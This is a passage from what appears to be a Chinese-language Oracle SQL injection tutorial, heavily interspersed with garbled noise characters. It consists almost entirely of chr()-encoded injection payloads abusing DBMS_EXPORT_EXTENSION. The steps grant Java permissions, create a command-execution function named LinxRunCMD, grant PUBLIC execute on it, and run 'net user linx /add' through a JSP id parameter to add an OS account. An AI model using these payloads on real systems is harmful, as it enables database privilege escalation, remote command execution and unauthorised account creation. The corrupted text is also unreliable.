chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
/ j9 {: Y+ }% d0 Ychr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||0 ~' U' M& a+ p! N' L2 _
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||. l- l: P8 F7 {2 J+ q
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
" e. X& X" a! O5 F1 C* Zchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
B/ R+ D8 A8 D/ |: l$ I* @,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
% v3 E( Q2 T+ Z7 E% h3 D$ u5 v
+ o) i. `. h$ E3 ]6 h+ Q+ n( F" l)
7 h: h* j2 G' m. x. P! d/ Y0 m$ W: G! Z1 I
------------------------------% I7 Y3 |, t# K6 q/ \
6 ^, M( j' w2 T5 k# A8 H
2.赋Java权限
+ f! N- G: J6 N, N/ r' r/xxx.jsp?id=1 and chr(49)<>chr(50)||(
, r" M& b) L$ g
5 W0 `2 N1 }6 {+ P, V( A) {1 a9 mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),& |0 b8 P+ ~, `8 j; \
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||3 W5 U/ X" L, J% k
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||! S6 I4 g# i# o3 P
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
% l; ?" Y( @& G4 n8 g+ j* Zchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||, d$ r& }) _5 l1 ^; ]" N+ A
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||! X' f& W: h' P' _
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
2 f. X2 H( _4 Y3 }; E! ~0 E; mchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
8 F* j3 @' Q/ u- S4 N: kchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||) B& I* W; i' F; ~7 A0 o+ Z
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)+ D& d; r! U; S9 Z; J
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
/ a+ c; y9 n _' D* _, y8 h( S
* |' ~7 o! x) ^" D0 A! r5 z: F8 h3 h)
$ u% E1 F6 I& V Y
3 F a* l- R5 Q/ |* Q* ^( O) ^readfile函数的ascii版就不写了,见谅。
, T! ~3 g$ q" r1 v& t; j) n; }$ w5 v& ^! W- M
3.创建函数+ N9 J5 R2 K( l/ C) j; D
2 k* c/ B1 V1 ~3 u$ V/ \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
# H4 E" n! l" ?% Ichr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
3 S6 ?. F& X/ o: cchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||) U3 }+ W1 `5 }& m& K* v
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
4 }: E2 ~. d- w+ m9 ?6 C. ~3 y+ b3 ?8 mchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||, ]1 |7 I, i, S' p T
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
* V' z) p, z$ {, Achr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||- ~- F* s) V ^$ L1 _% G2 Q
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
. `( l& n8 Y/ f) ~( a- P5 j3 Achr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
0 p1 e- {. j: K% f A2 I) m! Bchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||* P3 F0 v+ }* k+ L! Y
chr(59)||chr(45)||chr(45); |6 j9 O+ H$ c' O5 `; d; n* e
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual; ]7 R( t `& d P% i4 O0 v) J
8 Z3 h$ h' h& `
x i9 p t* ~+ D2 J) z! S J8 b% d5 ?6 {9 _7 Y3 f
4.赋public执行函数的权限9 Q- C& R8 P) n |$ ~9 E
. t9 x$ g0 k/ ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),2 ~: m) e8 o3 M4 W. A1 l8 x% a
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||+ q) d$ C( x! f# j3 u \
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
9 c6 X6 H' [9 N$ cchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
5 B* g6 w: o$ ~5 ?1 A& Gchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||7 K5 H) I8 z- D5 c* c$ J/ o
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
2 r, r z" b) ?, Y: I8 ~- cchr(59)||chr(45)||chr(45)
G8 E, N0 l+ F1 p5 u3 }6 F9 f4 O,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual9 o3 d/ F) B& D8 N1 A
1 _: z9 N9 J7 C9 k; y# p5 Q( @" w2 S4 U5 M, ~
% J5 u! h* u* Y
5.执行命令:$ _6 X2 n2 S6 f
" N' f0 A% |* p W/xxx.jsp?id=1 and chr(49)<>chr(32)||(
0 b4 J4 v. i) i( U* @- f4 kselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
L8 \8 _& P: \)
1 m* a' D/ e4 t! m* U$ D
f; m5 p" s/ K1 ]# _/ w( [/ q即
* f+ u- d( z [) b4 p/xxx.jsp?id=1 and chr(49)<>chr(32)||(
' W, H2 s) l3 r1 g& {5 i* N7 tselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
# Q- V H" L* b8 A- Z% \. X1 E3 E)
0 `6 K, l4 k% _8 q) N |